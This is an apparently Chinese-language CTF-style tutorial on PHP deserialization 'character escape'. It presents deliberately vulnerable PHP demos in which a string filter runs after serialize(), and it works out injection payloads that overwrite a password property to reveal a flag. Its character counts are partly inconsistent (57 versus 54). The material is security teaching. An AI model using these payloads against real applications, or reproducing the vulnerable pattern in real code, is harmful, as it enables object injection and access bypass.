Php反序列化字符逃逸

个人理解的字符逃逸

字符增加

demo_1:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);
highlight_file(__FILE__);
class ik{
    public $username = 'm';
    public $password = 'ikun';
    
    public function __construct($username){
        $this->username = $username;
    }
    public function __wakeup(){
        if($this->password === 'ik'){
            include('flag.php');
            echo PHP_EOL . $flag;
            # flag.php -> flag{this_flag}
        }else{
            echo "哎呦 你干嘛~";
        }
    }
}

function filter($obj){
    return str_replace('l','ll',$obj);
}

$username = $_GET['a'];
$obj = serialize(new ik($username));
$ter = filter($obj);
unserialize($ter);
  1. __wakeup()魔术方法会在反序列化时,判断属性password是否是ik然后在引入flag。但是类中唯一的传值点就在**$username**

  2. filter()方法对类ik的对象进行替换会多出一个字符,反序列化是从左往右读的,只读键的长度,多出了字符就忽略,那么这个就叫字符逃逸。可以对**$username进行逃逸,从而覆盖到$password**

    1
    2
    3
    
    O:4:"demo":1:{s:4:"name";s:2:"iki";}
    
    # 2:"iki" 这里键的长度为3,只读键的长度多了一个i。从左往右读,那么这个'}'就是逃逸(忽略)了的 
    

比如:

1
2
3
4
5
6
7
8
<?php
class ik{
    public $username = 'm';
    public $password = 'ik';
}
print_r(serialize(new ik()));

# O:2:"ik":2:{s:8:"username";s:1:"m";s:8:"password";s:2:"ik";}

";s:8:"password";s:2:"ik";}就是要逃逸的字符数量27。php通过;}来判断反序列化的结束标志。因为之前的filter()将1个l替换为2个l,多了一个l。所以要逃逸我们的payload需要27个l然后拼接

1
lllllllllllllllllllllllllll";s:8:"password";s:2:"ik";}

20220822232508

demo_2:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);
highlight_file(__FILE__);
class ik{
    public $username = 'm';
    public $password = 'ik';
    
    public function __construct($username){
        $this->username = $username;
    }
    public function __wakeup(){
        if($this->password === 'ikun'){
            include('flag.php');
            echo PHP_EOL . $flag;
            # flag.php -> flag{this_flag}
        }else{
            echo "哎呦 你干嘛~";
        }
    }
}

function filter($obj){
    return str_replace('main1o','main1oikun',$obj);
}

$username = $_GET['a'];
$obj = serialize(new ik($username));
$ter = filter($obj);
unserialize($ter);
  1. 和demo_1类似的,不过filter每次替换多4个字符,payload:

    1
    2
    3
    4
    5
    6
    7
    8
    
    <?php 
    class ik{
    	public $username = 'm';
    	public $password = 'ikun';
    }
    print_r(serialize(new ik()))
    
    # O:2:"ik":2:{s:8:"username";s:1:"m";s:8:"password";s:4:"ikun";}
    
  2. ";s:8:"password";s:4:"ikun";}是需要逃逸的字符一共29。但是,使用7个main1o,则会少一个字符,使用8个main1o 则会多3个。我们选择8个main1o ,只需要在需要逃逸的字符,后面在添加3个任意字符代替即可。

1
2
3
main1omain1omain1omain1omain1omain1omain1omain1o";s:8:"password";s:4:"ikun";}aaa

# 添加3个a

image-20220823143643876

字符减少

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php 
error_reporting(0);
highlight_file(__FILE__);

$arr['user'] = $_GET['user'];
$arr['pass'] = $_GET['pass'];
function filter($str){
    return str_replace('aa','a',$str);
}
$q = serialize($arr);
$w = filter($q);
echo '过滤前:'. $q . '</br>';
echo '过滤后:'. $w . '</br>';
$e = unserialize($w);
echo 'pass = ' . $e['pass'];

正常传参

image-20220824220512485

加入aa后被过滤了的,导致少了一个字符。所以向后面吃掉一个字符,导致反序列化失败

image-20220824220719545

反之,只需要计算出它需要吃掉的字符,在添加字符填补,即可反序列化成功。

我们的payload一共27个字符 ";s:4:"pass";s:6:"123456";} 知道2个aa会变一个a,所以a需要57个(payload * 2)

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&pass=";s:4:"pass";s:6:"123456";}

image-20220824223358411

紫色的pass为键,27个字符为我们的payload前面有"形成闭合。紫色部分为19个字符,所以填充字符为8个 (54减去红色的27个a减去紫色部分19)

任意填充8个即可:

image-20220824224841648